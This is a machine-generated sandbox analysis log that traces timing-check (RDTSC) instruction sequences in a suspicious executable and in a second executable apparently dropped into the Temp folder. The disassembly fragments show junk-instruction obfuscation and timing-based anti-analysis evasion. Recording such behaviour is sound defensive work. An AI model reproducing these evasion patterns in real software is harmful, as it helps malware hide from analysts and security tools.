Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE01BA second address: 4BE01C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE021D second address: 4BE0221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0221 second address: 4BE0233 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0233 second address: 4BE0245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8C708CDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0245 second address: 4BE0249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0249 second address: 4BE0258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0258 second address: 4BE025E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0296 second address: 4BE02D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 1ECCEE54h 0x00000008 mov si, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jg 00007FEEFD746EBEh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007FEE8C708CDBh 0x0000001d sub si, 6CEEh 0x00000022 jmp 00007FEE8C708CE9h 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE02D8 second address: 4BE0311 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEE8CE57900h 0x00000008 adc esi, 6FFD1468h 0x0000000e jmp 00007FEE8CE578FBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov esi, 2C842A5Fh 0x0000001b popad 0x0000001c js 00007FEE8CE5796Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0311 second address: 4BE0317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0317 second address: 4BE0330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8CE57905h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0330 second address: 4BE03DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b jmp 00007FEE8C708CDDh 0x00000010 jne 00007FEEFD746E29h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FEE8C708CE3h 0x0000001d and si, C26Eh 0x00000022 jmp 00007FEE8C708CE9h 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebx, dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FEE8C708CE3h 0x00000035 jmp 00007FEE8C708CE3h 0x0000003a popfd 0x0000003b pushfd 0x0000003c jmp 00007FEE8C708CE8h 0x00000041 and si, 1B78h 0x00000046 jmp 00007FEE8C708CDBh 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE03DC second address: 4BE043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c jmp 00007FEE8CE578FEh 0x00000011 xchg eax, esi 0x00000012 jmp 00007FEE8CE57900h 0x00000017 push eax 0x00000018 jmp 00007FEE8CE578FBh 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FEE8CE57905h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE043F second address: 4BE0457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 82h 0x00000005 mov ch, 38h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FEE8C708CDAh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0457 second address: 4BE0499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007FEE8CE57907h 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FEE8CE57906h 0x00000014 push eax 0x00000015 pushad 0x00000016 mov ebx, 2FC46B34h 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BD0EF9 second address: 4BD0F97 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 66761590h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, 1A4EFABCh 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FEE8C708CDBh 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 push eax 0x00000019 mov dh, 70h 0x0000001b pop eax 0x0000001c call 00007FEE8C708CDDh 0x00000021 pushfd 0x00000022 jmp 00007FEE8C708CE0h 0x00000027 or ax, B438h 0x0000002c jmp 00007FEE8C708CDBh 0x00000031 popfd 0x00000032 pop esi 0x00000033 popad 0x00000034 push ebp 0x00000035 pushad 0x00000036 pushad 0x00000037 movzx eax, dx 0x0000003a mov eax, edx 0x0000003c popad 0x0000003d pushfd 0x0000003e jmp 00007FEE8C708CE9h 0x00000043 add ch, FFFFFF86h 0x00000046 jmp 00007FEE8C708CE1h 0x0000004b popfd 0x0000004c popad 0x0000004d mov dword ptr [esp], ecx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FEE8C708CDDh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BD0F97 second address: 4BD0FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8CE578FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BD0FA7 second address: 4BD0FAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE08CA second address: 4BE0903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 mov bx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dx, B5B4h 0x00000013 pushfd 0x00000014 jmp 00007FEE8CE578FDh 0x00000019 adc ax, 0976h 0x0000001e jmp 00007FEE8CE57901h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0903 second address: 4BE0909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0909 second address: 4BE090D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE090D second address: 4BE0982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FEE8C708CE4h 0x0000000f jmp 00007FEE8C708CE2h 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FEE8C708CE0h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e jmp 00007FEE8C708CDEh 0x00000023 mov esi, 3A0C14B1h 0x00000028 popad 0x00000029 cmp dword ptr [75C7459Ch], 05h 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FEE8C708CE3h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0982 second address: 4BE099A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8CE57904h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE099A second address: 4BE09C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FEEFD736D33h 0x0000000e jmp 00007FEE8C708CE7h 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE09C6 second address: 4BE09CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE09CC second address: 4BE09D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE09D2 second address: 4BE09D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0A18 second address: 4BE0A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 1D7BE3A7h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0A34 second address: 4BE0A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0A38 second address: 4BE0A53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0A53 second address: 4BE0A84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FEEFDE8C9F8h 0x0000000e push 75C12B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75C74538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FEE8CE578FDh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0A84 second address: 4BE0A9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0A9F second address: 4BE0AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov edi, 73672070h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [ebp-1Ch], esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0AB6 second address: 4BE0ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0ABA second address: 4BE0AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0AD7 second address: 4BE0ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0AC9 second address: 4BF0AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0AD8 second address: 4BF0ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0ADE second address: 4BF0AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0AE2 second address: 4BF0B0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov ecx, 02139DBBh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEE8C708CDEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0B0B second address: 4BF0B4C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEE8CE57902h 0x00000008 xor ax, 1D38h 0x0000000d jmp 00007FEE8CE578FBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEE8CE57905h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0B4C second address: 4BF0B83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEE8C708CE1h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEE8C708CDDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0B83 second address: 4BF0B88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0B88 second address: 4BF0BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 35E16540h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, dword ptr [ebp+0Ch] 0x0000000f pushad 0x00000010 call 00007FEE8C708CE5h 0x00000015 push eax 0x00000016 pop edi 0x00000017 pop ecx 0x00000018 mov bx, 83A0h 0x0000001c popad 0x0000001d test esi, esi 0x0000001f pushad 0x00000020 call 00007FEE8C708CE5h 0x00000025 pop edx 0x00000026 push eax 0x00000027 pop esi 0x00000028 popad 0x00000029 je 00007FEEFD7264BCh 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 mov dx, 76C4h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0BDE second address: 4BF0C26 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEE8CE578FDh 0x00000008 xor ch, 00000006h 0x0000000b jmp 00007FEE8CE57901h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jmp 00007FEE8CE57900h 0x00000018 popad 0x00000019 cmp dword ptr [75C7459Ch], 05h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push ebx 0x00000024 pop esi 0x00000025 mov ax, bx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0C26 second address: 4BF0C5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FEEFD73E531h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEE8C708CE7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0C5B second address: 4BF0C7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0C7F second address: 4BF0C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0C83 second address: 4BF0C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0C89 second address: 4BF0C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8C708CE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0C9E second address: 4BF0CBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 movzx ecx, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0CBF second address: 4BF0CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8C708CE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0CD4 second address: 4BF0CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cl, 9Bh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0D03 second address: 4BF0D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0D07 second address: 4BF0D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0D24 second address: 4BF0D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0DF4 second address: 4BF0DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0DF8 second address: 4BF0DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 71E3C9 second address: 71DD45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FEE8CE57905h 0x00000010 nop 0x00000011 jmp 00007FEE8CE578FBh 0x00000016 push dword ptr [ebp+122D1621h] 0x0000001c stc 0x0000001d call dword ptr [ebp+122D1ABCh] 0x00000023 pushad 0x00000024 or dword ptr [ebp+122D1CD6h], eax 0x0000002a xor eax, eax 0x0000002c mov dword ptr [ebp+122D1C99h], esi 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 jmp 00007FEE8CE578FAh 0x0000003b mov dword ptr [ebp+122D3983h], eax 0x00000041 mov dword ptr [ebp+122D1C99h], esi 0x00000047 mov esi, 0000003Ch 0x0000004c mov dword ptr [ebp+122D1C99h], edx 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 stc 0x00000057 lodsw 0x00000059 clc 0x0000005a add eax, dword ptr [esp+24h] 0x0000005e jg 00007FEE8CE578FDh 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 mov dword ptr [ebp+122D1C99h], ecx 0x0000006e xor dword ptr [ebp+122D1C99h], edx 0x00000074 nop 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 71DD45 second address: 71DD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 71DD49 second address: 71DD4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 89206D second address: 892091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007FEE8C708CE3h 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FEE8C708CD6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 892091 second address: 892099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 892099 second address: 8920A7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007FEE8C708CD6h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8920A7 second address: 8920AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 892209 second address: 892223 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEE8C708CD6h 0x00000008 jmp 00007FEE8C708CDDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 892223 second address: 89222E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8923A0 second address: 8923D6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEE8C708CEAh 0x00000008 jmp 00007FEE8C708CE4h 0x0000000d jmp 00007FEE8C708CDEh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 jno 00007FEE8C708CD6h 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8923D6 second address: 8923DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8923DC second address: 8923F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FEE8C708CDEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8923F4 second address: 8923FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8923FA second address: 8923FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
